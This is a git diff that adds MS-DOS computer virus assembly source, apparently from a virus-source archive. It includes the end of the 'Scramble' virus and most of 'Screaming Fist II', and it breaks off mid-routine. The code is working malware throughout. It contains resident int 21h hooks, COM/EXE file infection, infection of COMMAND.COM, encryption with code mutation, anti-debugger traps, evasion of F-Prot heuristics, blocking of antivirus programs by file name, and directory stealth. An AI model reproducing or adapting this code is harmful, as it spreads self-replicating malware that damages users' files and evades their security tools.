TBAV +; #3 Has the anti-fprot code from YB-X inside. +; #4 Doesn't let many known AV products run. It doesn't delete them +; unlike earlier projects. +; #5 Includes filters in the infection process to exclude possible "bait" +; files. +; #6 Uses the System File Tables for infection. This is a beautiful method +; to get alot of file information quickly. +; #7 Utilizes directory stealth. (FCB only) +; +; Features: Infects on 11h, 12h, and 4Bh. (Directory and Execute) +; +; Also SCRAMBLE includes many debuggers traps. They are concentrated in +; the beginning. +; +; Nikademus [CrYpT] +; ^^^^^^^ +; Smile Urnst.... +; +; ********************** [Scramble] *************************************** + + .radix 16 + code segment + model small + assume cs:code, ds:code, es:code + + org 100h + +len equ offset last - start ; Shadows length +vir_len equ len / 16d ; paragraphs of memory needed +encryptlength equ (last - begin)/2+1 ; encrypt all but 3 bytes + + +start: + db 0BBh ; mov bx, xxxx +off_start: ; + dw offset begin ; this is fixed up during inf. +xor_start: ; + db 81h ; XOR WORD PTR [BX], ????h + db 37h ; +e_v: ; + dw 0000h ; encryption word + ; + inc bx ; + inc bx ; + db 81h, 0FBh ; cmp bx, xxxx +off_last: ; + dw offset last ; + jng xor_start ; +begin: + jmp inner_loop + db 'BEER and TEQUILA forever !' ; I love a good joke... +inner_loop: +start_2: + mov bx, offset begin_2 ; Inner encryption loop + mov cx, (last - begin_2)/2+1 ; + xor ax, ax ; + mov es, ax ; + mov dx, es:[4*1] ; Save part of int 3 +ax_encrypt: ; + mov ax, 0000h ; encryption word +encrypt_loop_2: ; + mov es:[4*1], cx ; save cx on part of int 3 + xor cx, cx ; clear cx + xchg al, ah ; The purpose of this + xor word ptr [bx], ax ; encryption is to be + xchg al, ah ; a pain + sub bx, -2 ; for people wanting to + mov cx, es:[4*1] ; trace. + loop encrypt_loop_2 ; +begin_2: + mov es:[4*1], dx ; restore int 3 + jmp virus + db '[Scramble] By Nikademus $' + db 'Read CRYPT Today!. $' +virus: + mov dx, 5945h ; pull CPAV (MSAV) + mov ax, 64001d ; out of memory + int 16h ; This also confused + ; TBCLEAN + + call bp_fixup ; bp fixup +bp_fixup: ; + pop bp ; + sub bp, offset bp_fixup ; + + xor ax, ax ; + mov es, ax ; + mov cx, es:[4*01h+2] ; Installation Check + mov bx, es:[4*03h+2] ; int 01 and 03 are normally + cmp cx, bx ; equal. Shadow changes + je next_early ; int 3h. + jmp fix_host ; + +next_early: + mov es:[4*3h], ax ; + mov es:[4*3h+2], ax ; zero out 1 and 3 + mov es:[4*1h], ax ; Debugger fix... + mov es:[4*1h+2], ax ; We hatesss Debuggersss + ; Don't we Preciousss. + ; - Tolkien + + call screw_fprot ; confusing f-protect's + call screw_fprot ; heuristic scanning + call screw_fprot ; Still effective as of + call screw_fprot ; version 2.10 + call screw_fprot ; + call screw_fprot ; [cf] Crypt Newsletter 18 + call screw_fprot ; for explanation & + call screw_fprot ; rationale + call screw_fprot ; + call screw_fprot ; +Memory_manipulation: + push cs ; + pop es ; + push cs ; + pop ds ; + mov bx,cs ; reduce memory size + dec bx ; + mov ds,bx ; My standard memory + cmp byte ptr ds:[0000],5a ; routine... + jne fix_host ; + mov bx,ds:[0003] ; + sub bx, 100h ; # of 16byte paragraphs + mov ds:0003,bx ; to grab (4k) +Mov_to_unused_memory: + xchg bx, ax ; copy self to the new + mov bx, es ; 'unused' part of memory + add bx, ax ; QEMM calls this area + mov es, bx ; unused when Shadow is + mov cx, len ; resident. + mov ax, ds ; + inc ax ; + mov ds, ax ; + lea si, ds:[offset start+bp] ; + lea di, es:0100 ; + rep movsb ; + +Interrupt_Manipulation: + xor ax, ax + mov ds, ax + push ds + lds ax, ds:[21h*4] ; get int 21h + mov word ptr es:old_21h, ax ; save 21 + mov word ptr es:old_21h+2, ds + mov bx, ds ; bx = ds + pop ds + mov word ptr ds:[3h*4], ax ; put old 21 in int 3h + mov word ptr ds:[3h*4+2], bx ; + mov word ptr ds:[21h*4], offset Scramble ; put self in 21 + mov ds:[21h*4+2], es ; + +fix_host: + push cs + pop ds + push cs + pop es + mov di,100h ; Replace overwritten bytes + push di ; Save the 100h + lea si, ds:[vict_head + bp] ; + mov cx, 25d ; + rep movsb ; Fix 'em + xor ax, ax ; Clean up after myself. + xor bx, bx ; + xor dx, dx ; + xor si, si ; + xor di, di ; +Bye_Bye: + ret ; Return to 100h +screw_fprot: + jmp $ + 2 ; Pseudo-nested calls to confuse + call screw2 ; f-protect's heuristic + call screw2 ; analysis + call screw2 ; + call screw2 ; + call screw2 ; These are straight from + ret ; YB-X. +screw2: ; + jmp $ + 2 ; + call screw3 ; + call screw3 ; + call screw3 ; + call screw3 ; + call screw3 ; + ret ; +screw3: ; + jmp $ + 2 ; + call screw4 ; + call screw4 ; + call screw4 ; + call screw4 ; + call screw4 ; + ret ; +screw4: ; + jmp $ + 2 ; + ret ; + +vict_head db 90h, 0CDh, 20h, 90h, 90h, 90h, 90h, 90h, 90h, 90h + db 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h + db 90h, 90h, 90h, 90h, 90h +Scramble: + cmp ah, 11h ; Directory infect. + je d_h_1 ; + Stealth + cmp ah, 12h ; Directory infect. + je d_h_1 ; + Stealth + pushf ; Save all these + push ax ; registers. + push bx ; + push cx ; + push dx ; + push si ; + push di ; + push ds ; + push es ; + cmp ah, 4Bh ; Infect + AV filter + je infect ; +notforme: + pop es ; Goodbye cruel world + pop ds ; I'm leaving you today + pop di ; Goodbye + pop si ; .. + pop dx ; Goodbye + pop cx ; .. + pop bx ; ...goodbye + pop ax ; -Pink Floyd + popf ; (Well...Close) + +big_jmp: + jmp dword ptr cs:[old_21h] ; This is The End. +d_h_1: + jmp dir_handler_1 +infect: + mov word ptr cs:victim_name,dx + mov word ptr cs:victim_name+2,ds + cld + mov di,dx + push ds + pop es ; es:di -> name + mov al,'.' ; find the period + repne scasb ; + call name_tester + + cmp ax, 0CCCCh ; DDDDh marks AV + je cont_inf ; + jmp notforme +cont_inf: + cmp word ptr es:[di], 'OC' + jne notforme + call HOOK_24 + mov ax, 3D00h ; open read/only + lds dx, cs:[victim_name] ; + int 3h ; + jc notforme ; handle errors + xchg bx, ax ; + + call infection_test ; is it infected? + cmp ax, 0CCCCh ; FFFF = infected + je continue_inf ; DDDD = don't infect + + mov byte ptr es:[di+2], 00h ; mark it read/only + mov ax, 3E00h ; close file + int 3h ; + jmp notforme +continue_inf: + push cs ; infect 'em + pop es ; + call infect_victim ; + jmp notforme ; + + +infect_victim: + mov ah, 2Ch ; get random number + int 3h ; for encryption + or dx, dx ; + jz infect_victim ; +write_virus: + mov word ptr [offset e_v], dx + mov word ptr [offset e_value_1], dx + sub cx, dx + mov word ptr [offset ax_e], cx + xchg cl, ch + mov word ptr [offset ax_encrypt+1], cx + mov ax, [vict_size] + push ax + mov si, ax ; fix BX offset in head + add si, ((offset begin-offset start)+100h) + mov word ptr [off_start], si ; start of 'cryption + push si + add si, len + mov word ptr [off_last], si ; end of 'cryption + pop si + add si, (offset begin_2 - offset begin) + mov word ptr [offset start_2+1], si ; begin fixup #2 + + mov si, offset start ; copy virus to buffer + mov di, offset encryptbuffer ; + mov cx, last-start ; + rep movsb ; + + pop ax + sub ax, 3d ; construct jump + mov word ptr [offset jmp_offset], ax ; +Encryptvirus_in_buffer: + push bx ; inner encryption + mov bx, offset encryptbuffer ; + add bx, (offset begin_2 - offset start) ; + mov cx, (last - begin_2)/2 +1 ; +e_loop_1: ; + db 81h ; XOR [bx] + db 37h ; +ax_e: ; + dw 0000h ; scrambler + add bx, 2 ; + loop e_loop_1 ; loop + + mov bx, offset encryptbuffer ; + add bx, (offset begin - offset start) ; outer encryption + mov cx, (last - begin)/2 +1 ; +e_loop_2: ; + db 81h ; XOR [bx] + db 37h ; +e_value_1: ; + dw 0000h ; scrambler + add bx, 2 ; + loop e_loop_2 ; loop + + pop bx + mov ah, 40h ; write virus + mov cx, last-start ; + mov dx, offset encryptbuffer ; + int 3h ; + + mov ax, 4200h ; point to front + xor cx, cx ; + xor dx, dx ; + int 3h ; + + mov ah, 40h ; write jump + mov dx, offset jmp_create ; + mov cx, 25d ; + int 3h ; + +restore_date_time: + mov dx, word ptr [date] ; Date + mov cx, word ptr [time] ; Time + mov ax,5701h ; + int 3h +fix_attribs: + mov ax, 3E00h ; close + int 3h ; + mov ax, 4301h ; Restore old attributes + mov cl, byte ptr [attrib] ; + lds dx, cs:victim_name ; + int 3h ; + ret ; Leave this sub-routine + +dir_handler_1: + pushf ; + db 9Ah ; Call to +old_21h dd ? ; old int 21 vector + + cmp al, 0FFh ; Find something? + jnz next_dir_1 ; + iret ; +next_dir_1: + pushf + push ax ; save registers. + push bx ; + push cx ; + push dx ; + push ds ; + push es ; + push si ; + push di ; + + mov ah, 2Fh ; Get DTA + int 3h ; es:bx -> DTA + push es ; + pop ds ; ds = es + cmp byte ptr [bx], 0FFh ; Extended FCB? + jnz not_extended ; + add bx, 7h ; +not_extended: + push cs ; restore es + pop es ; + cld + + lea di, [victim_name] ; Dark Angel's code + lea si, [bx+1] ; to turn FCB string + mov cx, 8d ; into an ASCIIZ string +space_finder: + cmp byte ptr ds:[si], ' ' ; find the first space + jz space_found ; + movsb ; + loop space_finder ; +space_found: + mov al, '.' ; copy the period + stosb ; + mov ax, 'OC' ; test for (CO)M extention + lea si, [bx+9] ; + cmp word ptr [si], ax ; + jnz not_com ; + stosw + mov al, 'M' ; Is it an CO(M) + cmp byte ptr [si+2], al ; + jnz not_com ; + stosb + mov al, 0 ; end of string byte + stosb ; NULL for C people + + push ds ; + pop es ; es = ds + push cs ; + pop ds ; restore ds + + xchg di, bx ; es:di points to the DTA + mov ax, 3D00h ; open read/only + lea dx, [victim_name] ; + int 3h ; changes to r/w in the + jc not_com ; system file table + xchg ax, bx ; + + push es + push di + push ds + + call infection_test ; is it infected? + cmp ax, 0CCCCh ; FFFF = infected + je continue_dir ; + + mov byte ptr es:[di+2], 00h ; mark it read/only + push ax + mov ax, 3E00h ; close file + int 3h ; + pop ax ; Save these + pop ds ; + pop di ; + pop es ; + cmp ax, 0DDDDh ; not infected, but + je not_com ; don't infect. IMPORTANT! + mov ax, es:[di+29d] + sub ax, len ; directory stealth + mov es:[di+29d], ax ; +not_com: ; . . . + pop di ; . . . . + pop si ; . . . . + pop es ; . . . . + pop ds ; . . . . + pop dx ; . . + pop cx ; . . . . + pop bx ; . . . . + pop ax ; . . . . + popf ; . . . . + iret ; . . . +continue_dir: + pop ds ; Actually get around to infecting + push cs ; the poor little file. + pop es ; + call infect_victim ; + pop di ; + pop es ; + jmp not_com ; +new_24h: + mov al,3 ; Error (Mis)handler + iret ; + +name_tester: + cmp word ptr es:[di-3],'MI' ;Integrity Master + je AV ;*IM + + cmp word ptr es:[di-3],'XR' ;*rx + je AV ; + + cmp word ptr es:[di-3],'PO' ;*STOP + jne next1 ;(VIRSTOP) + cmp word ptr es:[di-5],'TS' ; + je AV ; + +next1: cmp word ptr es:[di-3],'VA' ;*AV i.e. cpav + je AV ;(TBAV) (MSAV) + + cmp word ptr es:[di-3],'TO' ;*prot f-prot + jne next2 ; + cmp word ptr es:[di-5],'RP' ; + jne next2 ; +AV: jmp AV_Detected ; must be equal + +next2: cmp word ptr es:[di-3],'NA' ;*scan McAffee's + jne next3 ;(TBSCAN) + cmp word ptr es:[di-5],'CS' ; + je AV_Detected ; + + cmp word ptr es:[di-3],'NA' ;*lean CLEAN.. + jne next3 ; why not eh? + cmp word ptr es:[di-5],'EL' ;(TBCLEAN) + je AV_Detected ; + +next3: cmp word ptr es:[di-3],'CV' ; Victor Charlie + je AV_Detected ; default *VC + + cmp word ptr es:[di-3],'KC' ; VCHECK + jne next4 ; (Victor Charlie) + cmp word ptr es:[di-5],'EH' ; (TBCHECK) *HECK + je AV_Detected ; +next4: + cmp word ptr es:[di-3],'ME' ; TBMEM + jne next5 ; *BMEM + cmp word ptr es:[di-5],'MB' ; + je AV_Detected ; +next5: + cmp word ptr es:[di-3],'XN' ; TBSCANX + jne next6 ; *CANX + cmp word ptr es:[di-5],'AC' ; + je AV_Detected ; +next6: + cmp word ptr es:[di-3],'EL' ; TBFILE + jne next7 ; *FILE + cmp word ptr es:[di-5],'IF' ; + je AV_Detected ; +next7: + cmp word ptr es:[di-3],'KS' ; CHKDSK + jne next8 ; *KDSK + cmp word ptr es:[di-5],'DK' ; chkdsk finds false errors + je AV_Detected ; with directory stealth +next8: + mov ax, 0CCCCh ; Flag NON-AV + ret ; +AV_Detected: + mov word ptr es:[di-1], 2020h ; Screw up the search + mov word ptr es:[di+1], 2020h ; clear the .XXX + mov ax, 0DDDDh ; Flag AV + ret ; + +HOOK_24: ; hook interrupt 24 + push ds ; by direct writes to + push dx ; the + push ax ; interrupt vector + push es ; table + xor ax, ax ; + mov ds, ax ; DOS will fix it back + mov dx, offset new_24h ; all by itself. + mov word ptr ds:[24h*4], dx ; For once, I like what + mov word ptr ds:[24h*4+2], es ; DOS does. + pop es ; + pop ax ; + pop dx ; + pop ds ; + ret ; + +infection_test: ; assume file + push cs ; open + pop es ; and bx is handle + push cs + pop ds + + push bx ; + mov ax, 1220h ; Get Job File Table + int 2Fh ; + jc error_out ; + mov bl, es:di ; + mov ax, 1216h ; Get System File Table + int 2Fh ; For my file. + jc error_out ; + + pop bx + mov byte ptr es:[di+2], 02h ; change to read/write + mov ax, word ptr es:[di + 0Dh] ; get time + mov cs:[time], ax ; + mov ax, word ptr es:[di + 0Fh] ; get date + mov cs:[date], ax ; + mov al, byte ptr es:[di + 04h] ; get attribs + mov cs:[attrib], al ; + mov ax, es:[di + 11h] + cmp ax, 1000d ; size filter + jb filter_error ; only infect files bigger + + mov ax, 3F00h ; read in 25 bytes + mov cx, 25d ; + mov dx, offset vict_head ; + int 3h ; + jc error_out ; + + ; Looking for possible BAIT files. + + mov ah, byte ptr cs:[vict_head] ; + cmp ah, 90h ; nop test + je filter_error ; + cmp ah, 0CDh ; INT test + je filter_error ; + mov ax, word ptr cs:[vict_head+1] ; + cmp ah, 0CDh ; INT test + je filter_error ; + cmp al, 0CDh ; INT test + je filter_error ; + mov ax, 4200h ; point to beginning + xor cx, cx ; could have used SFT + xor dx, dx ; + int 3h ; + mov ax, 4202h ; point to end + int 3h ; + + mov cs:[vict_size], ax ; infection check + mov cx, word ptr cs:[vict_head] ; + mov ax, 0CCBAh ; me.. + cmp ax, cx ; + jnz not_infected ; +error_out: + mov ax, 0FFFFh ; FF = infected + ret ; +filter_error: + mov ax, 0DDDDh ; not infected + ret ; and DONT infect +not_infected: + mov ax, 0CCCCh ; not infected + ret + +jmp_create db 0BAh, 0CCh, 0CCh, 0C6h, 06h, 00h, 01h, 0E9h, 0B8h + db 2Eh, 01h, 0BBh, 01h, 01h, 2Dh, 03h, 01h, 33h, 0C1h + db 0C7h, 07h +jmp_offset db 2Bh, 00h + db 0EBh, 0E7h +last: ; -=< end of encryption. >=- + + + +; The heap........ junk not needed in main program + +date dw 00h, 00h +victim_name dd ? +time dw 00h, 00h +attrib db ? +vict_size dw 00h, 00h + +encryptbuffer db (last-start)+1 dup (?) +code ends + end start + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.screamii.asm b/MSDOS/Virus.MSDOS.Unknown.screamii.asm new file mode 100644 index 00000000..008667aa --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.screamii.asm @@ -0,0 +1,577 @@ +ORG 100H + + +; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc. +; The author assumes no responsibility for any damage incurred +; from the infection caused by this virus + +CURTAIN_OPEN EQU $ + +ARE_WE_RESIDENT?: + CLD ;Do not remove this + CALL DECRYPT_US + +NEXT_PLACE: + + MOV AH,30H ;Get DOS version + INT 21H + CMP AL,2 ;Lower than 2? + JBE LEAVE_AND_RESTORE ;Yes,exit + XOR AX,AX + DEC AX ;Will return AX=0 if virus is resident + INT 21H + OR AX,AX ;Are we resident? + JZ LEAVE_AND_RESTORE ;If not, install + +START: + PUSH DS + XOR AX,AX ;Now make DS=0 + MOV DS,AX + DEC WORD PTR [413H] ;Decrease available memory by 1k + LDS BX,[0084] ;Get INT 21 vector and save it + CS: + MOV [BP+OLD_21_BX-NEXT_PLACE],BX + CS: + MOV [BP+OLD_21_ES-NEXT_PLACE],DS + MOV BX,ES ;Get address of our memory block + DEC BX + MOV DS,BX + SUB WORD PTR [0003],80H ;Decrease memory allocated to this program + MOV AX,[0012] ;Decrease total memory + SUB AX,80H ;By 80 paragraphs + MOV [0012],AX ;And save it again + MOV ES,AX ;Also gives us ES=Top of memory + PUSH CS ;CS=DS + POP DS ; + MOV SI,BP ; + SUB SI,OFFSET NEXT_PLACE - 100H ;Offset of code to move + MOV DI,100H ;ES:100h is destination + MOV CX,LENGTH ;Move entire virus + REPZ MOVSB ;Move entire virus to top of memory + MOV DS,CX ;DS=0 + CLI ;Disable interrupts + MOV [0086],AX + MOV WORD PTR [0084],OFFSET NEW_21 ;Set INT 21 to our code in high memory + STI ;Enable interrupts + MOV AX,3DFFH ;Code to infect command processor + INT 21H + POP DS ;DS=ES + PUSH DS + POP ES + +LEAVE_AND_RESTORE: + ;PUSH DS This is just some silly code + ;XOR AX,AX That will cause random problems + ;MOV DS,AX Like floppies not working + ;IN AL,21H Or the system clock stopping + ;XOR AL,[046CH]B If you want to use it + ;AND AL,0FDH Just remove the semi-colons + ;OUT 21H,AL + ;POP DS + + SUB BP,OFFSET NEXT_PLACE - 100H ; + OR BP,BP + JZ LEAVE_EXE ;A zero BP means we're leaving an .EXE + LEA SI,[BP+ORIGINAL_EIGHT-NEXT_PLACE+4] ;Restore original eight bytes so + ;we can RET to them + MOV DI,100H + PUSH DI ;Restore first four bytes + MOVSW + MOVSW + RET ;And return to 100 + +LEAVE_EXE: + MOV AX,ES ;Use ES for a displacment value + ADD CS:OLD_CS_DISP - 100H,AX ;Fix up the CS value + ADD CS:OLD_SS_DISP - 100H,AX ;And the SS value + + MOV SS,CS:offset OLD_SS_WORD - 100h ;Set the correct SS + MOV SP,CS:offset OLD_SP_WORD - 100h ;And the correct SP + JMP $+2 ;Necessary for .EXE's to run right + ;DO NOT REMOVE! IF YOU DO, .EXE's WON'T RUN! + +DB ,0EAH, ;Makes a far jump to the original .EXE + ;Entry point + +ORIGINAL_EIGHT EQU $ + +OLD_IP EQU $ + MOV AH,4CH ;.COM file beginning stored here + +OLD_CS_DISP EQU $ + INT 21H ; + +OLD_SS_DISP EQU $ +OLD_SS_WORD DW 00 00 ;Save old SS here + +OLD_SP EQU $ +OLD_SP_WORD DW 00 00 ;And old SP here + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +;Here is where the resident part begins in high memory. ; +;On systems with 640k, this is usually at segment 9F80 ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; + +NEW_21: + PUSHF + CMP AX,0FFFFH ;AX=FFFF means a program is asking + JNZ CONTINUE_ASKING ;If the virus is resident + + POPF ;Return to show that virus is resident + INC AX ;Return AX=0 to show that we are resident + IRET + +CONTINUE_ASKING: ;Infect files on: + CMP AH,3DH ;Opening + JZ OPENING + CMP AH,4BH ;Running + JZ INFECT_REGULAR + CMP AH,43H ;Chmod + JZ INFECT_REGULAR + CMP AH,56H ;Renaming + JZ INFECT_REGULAR + + JMP SHORT OUTTA_HERE + +OPENING: + CMP AL,0FFH ;Do we need to infect command processor? + JNZ INFECT_REGULAR ;Nope, continue + + PUSH CS ;DS=CS + POP DS + MOV DX,OFFSET COMMAND ;If so, let's use C:\COMMAND.COM + +COM_FILE: + CALL DISEASE + POPF + IRET + +INFECT_REGULAR: + + PUSH AX ;Save AX + CALL CHECK_NAME ;Is DS:DX a .COM or an .EXE file? + OR AX,AX ;A non-zero AX means nope + JNZ OUT_WITH_POP + CALL DISEASE ;Infect file + +OUT_WITH_POP: + POP AX ;Restore AX +OUTTA_HERE: + POPF ;Continue with old INT 21 + +DB ,0EAH, ;Code for a JMP FAR + +OLD_21_BX DW 00 00 ;Old Int 21 location is stored here +OLD_21_ES DW 00 00 ; + +FUNCTION: ;Used by virus to call old INT 21 + PUSHF + CALL DWORD PTR CS:[OLD_21_BX] + RET + + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +;This portion handles the actual infection process ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +DISEASE: + + PUSH AX ;Save all registers + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + PUSH DX + +ABOVE_2: + MOV CS:[OLD_DS]W,DS ;Save DS + MOV CS:[OLD_ES]W,ES ;Save ES + PUSH CS ;CS=DS=ES + PUSH CS + POP DS + POP ES + MOV AX,3524H ;Get INT 24 address + CALL FUNCTION ; + MOV OFFSET OLD_24_BX,BX ;Save it + MOV OFFSET OLD_24_ES,ES ; + MOV AH,25H ;Now set it to our own code + LEA DX,OFFSET NEW_24 ;Offset of our INT 24 code + CALL FUNCTION ; + + MOV AH,36H ;Get disk free space + XOR DL,DL ;And quit if less than virus length + CALL FUNCTION + JC NEED_TO_LEAVE + OR DX,DX + JNZ SET_ATTRIBS + MUL CX + MUL BX + CMP AX,LENGTH + JNB SET_ATTRIBS + +NEED_TO_LEAVE: + POP DX ;Clear stack + JMP DONE ;And return + + +SET_ATTRIBS: + POP DX + PUSH DX + MOV DS,OLD_DS + MOV AX,4300H ;Get the attributes + CALL FUNCTION + MOV CS:[OLD_ATTRIBS],CX ;Save them for later + XOR CX,CX + MOV AX,4301H + CALL FUNCTION ;Set attribs to normal + JC LEAVE_WITH_ATTRIBS ;Leave if error + +OPEN_IT: + MOV AX,3D02H ;Open file with Read and Write access + CALL FUNCTION + JC NEED_TO_LEAVE ;Quit on error + PUSH CS ;CS=DS + POP DS + XCHG BX,AX ;Save handle + MOV AH,3FH ;Read BUF_LENGTH bytes into CS:BUFFER + LEA DX,BUFFER ;Offset of buffer + MOV CX,BUF_LENGTH ;Read 'Em + CALL FUNCTION + JC LEAVE_AND_CLOSE ;Quit on error + CMP OFFSET BUFFER,5A4DH ;Is this an .EXE file? + JZ NAIL_EXE ;If so, we gotta do some things + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +;This portion handles a .COM infection ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; + MOV AL,[BUFFER+3]B ;An indentical byte means this .COM is + INC AL + CMP AL,[BUFFER+1]B ;probably already infected + JNZ CONTINUE_TO_INFECT ;If it isn't, let's get it! + +LEAVE_AND_CLOSE: + MOV AH,3EH ;Close this file + CALL FUNCTION + +LEAVE_WITH_ATTRIBS: + POP DX + PUSH DX + CALL RESTORE_ATTRIBS ;Restore the attributes if needed + JMP SHORT NEED_TO_LEAVE + +CONTINUE_TO_INFECT: + + MOV SI,OFFSET BUFFER ;Starting at CS:BUFFER + PUSH CS ;CS=ES + POP ES + LEA DI,OFFSET ORIGINAL_EIGHT;Where to save original eight bytes to + MOVSW ;Save infected files original eight bytes + MOVSW + + MOV AX,4202H ;Send RW pointer to end of file + XOR CX,CX + XOR DX,DX + CALL FUNCTION + OR DX,DX ;A non-zero DX means too big of a file + JNZ LEAVE_AND_CLOSE + CMP AX,300 ;Don't infect files less than 300 bytes + JB LEAVE_AND_CLOSE + CMP AX,64000 ;Or bigger than 64000 + JA LEAVE_AND_CLOSE + SUB AX,3 ;Use the pointer as our jump code + MOV [BUFFER]B,0E9H ;Code for absolute JMP + MOV [BUFFER+1],AX ;This sets up the .COM so we can tell + DEC AL ;If it's infected next time we see it + MOV [BUFFER+3],AL + JMP SHORT ATTACH ;Continue past .EXE infector + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +;This portion handles infecting all .EXE files ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +NAIL_EXE: + + CMP WORD PTR [BUFFER+14H],1 ;Offset of IP reg. Is this .EXE infected? + JZ LEAVE_AND_CLOSE ;Leave if already infected + +GET_EXE: + MOV AX,[BUFFER+4] ;EXE size in 512 byte pages + MOV CX,0200H ;Multiply by 512 to get filesize + MUL CX ; + PUSH AX ;Save AX, AX=Filesize low byte + PUSH DX ;Save DX, DX=Filesize high byte + MOV CL,04 ; + ROR DX,CL ; + SHR AX,CL ; + ADD AX,DX ; + SUB AX,[BUFFER+8] ;Size of header in 16 byte paragraphs + PUSH AX ;AX is new code segment displacement + MOV AX,[BUFFER+14H] ;Get old IP register + MOV [OLD_IP],AX ;Save it here + MOV AX,[BUFFER+16H] ;Get old code segment displacement + ADD AX,10H ;Add 10 to it + MOV [OLD_CS_DISP],AX ;Save it here + MOV AX,[BUFFER+14] ;Get old stack segment + ADD AX,10H ;Adjust it for later + MOV [OLD_SS_DISP],AX ;And save it here + MOV AX,[BUFFER+16] ;Get stack pointer + MOV [OLD_SP],AX ;And save it here + POP AX ;Restore AX + MOV [BUFFER+16H],AX ;New code segment + MOV [BUFFER+14],AX ;New SS=CS + MOV [BUFFER+16],0FFFFH ;SP = End of viral code + MOV WORD PTR [BUFFER+14H],1 ;New IP register + ADD WORD PTR [BUFFER+4],2 ;Size of file in 512 byte pages + POP CX + POP DX + MOV AX,4200H ;Move file pointer + CALL FUNCTION + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +; Attach our viral code to the target file ; +; This portion is shared by the .EXE and the .COM infectors to be more ; +; efficient ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; + +ATTACH: + + MOV AX,5700H ;Get the file time and date + CALL FUNCTION + PUSH CX ;And save them for later + PUSH DX + +INFECT: + + XOR AX,AX + MOV DS,AX + MOV AX,[046CH] ;Get a random encryption key from timer + MOV DL,AH ;Save part of it in DL + PUSH CS ;DS=CS + POP DS ; + MOV ENC_BYTE,AL ;Save keys in our code + MOV ENC_BYTE_2,DL + PUSH CS ;CS=ES + POP ES +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 +;This section provides a semi-random encryption code mutation based on our +;encryption keys. Look at each line for a desc. of what it does to the code. +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 + TEST AL,1 + JZ SKIP_1 + XOR WORD PTR ENC_SWITCH,0ABDEH ;MOV SI,BP <=> PUSH BP POP SI +SKIP_1: + TEST DL,1 + JZ SKIP_2 + XOR BYTE PTR [ENC_SWITCH_2 + 1],012H ;OR DL,AL <=> XOR AL,DL +SKIP_2: + TEST AL,2 + JZ SKIP_4 + XOR BYTE PTR [ENC_SWITCH_4 + 2],010H +SKIP_4: + TEST DL,2 + JZ SKIP_5 + XOR BYTE PTR [ENC_SWITCH_5 + 2],010H +SKIP_5: + TEST AL,3 + JZ SKIP_6 + XOR BYTE PTR [ENC_SWITCH_1 + 1],08H +SKIP_6: + TEST DL,3 + JZ SKIP_7 + XOR BYTE PTR [ENC_SWITCH_3 + 1],08H +SKIP_7: + TEST AL,4 + JZ SKIP_8 + XOR BYTE PTR [ENC_SWITCH_6 + 1],08H +SKIP_8: + MOV SI,CURTAIN_OPEN + MOV DI,DATA_END + PUSH DI + PUSH DI + MOV CX,LENGTH + REPZ MOVSB + POP SI + ADD SI,4 + CALL ENCRYPT_US + POP DX + MOV AH,40H ;Code for handle write + MOV CX,LENGTH ;Length of our viral code + CALL FUNCTION ;Write all of virus + +MAKE_HEADER: + MOV AX,4200H ;Set file pointer to beginning + XOR CX,CX ;Zero out CX + XOR DX,DX ;Zero out DX + CALL FUNCTION + MOV AH,40H ;Write to file + MOV DX,OFFSET BUFFER ;Starting at BUFFER + MOV CX,BUF_LENGTH ;Write BUF_LENGTH bytes + CALL FUNCTION + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +; This restores the files original date and time ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; + +RESTORE_TIME: + MOV AX,5701H ;Restore original date and time + POP DX ;To what was read in earlier + POP CX ; + CALL FUNCTION ; + JMP LEAVE_AND_CLOSE ;Leave + +DONE: + MOV DX,OFFSET OLD_24_BX W ;Move the old INT 24's address + MOV DS,OFFSET OLD_24_ES W ;so we can restore it + MOV AX,2524H ;Restore it + CALL FUNCTION + POP ES ;Restore all registers + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + RET ;And quit + +RESTORE_ATTRIBS: +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +; This routine restores the files original attributes. ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; + MOV AX,4301H ;Restore original attribs + MOV CX,[OLD_ATTRIBS] ;To what was read in earlier + MOV DS,OLD_DS + CALL FUNCTION + RET + +NEW_24: + XOR AX,AX ;Any error will simply be ignored + STC ;Most useful for write protects + IRET + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +;Please don't be a lamer and change the text to claim it was your own creation ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; + +TEXT DB 'Screaming Fist II' ;For the AV people, can't have a dumb name! +COMMAND DB 'C:\COMMAND.COM',00 ;File infected + +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; +; This routine checks to see if the file at DS:DX has an extension of either ; +; .COM or .EXE. AX is set to zero if either condition is met, and non-zero ; +; If they aren't. ; +;様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様; + +CHECK_NAME: + PUSH SI + MOV SI,DX + +CHECK_FOR_PERIOD: + LODSB + OR AL,AL + JZ LEAVE_NAME_CHECK + CMP AL,'.' + JNZ CHECK_FOR_PERIOD + LODSB + AND AL,0DFH + CMP 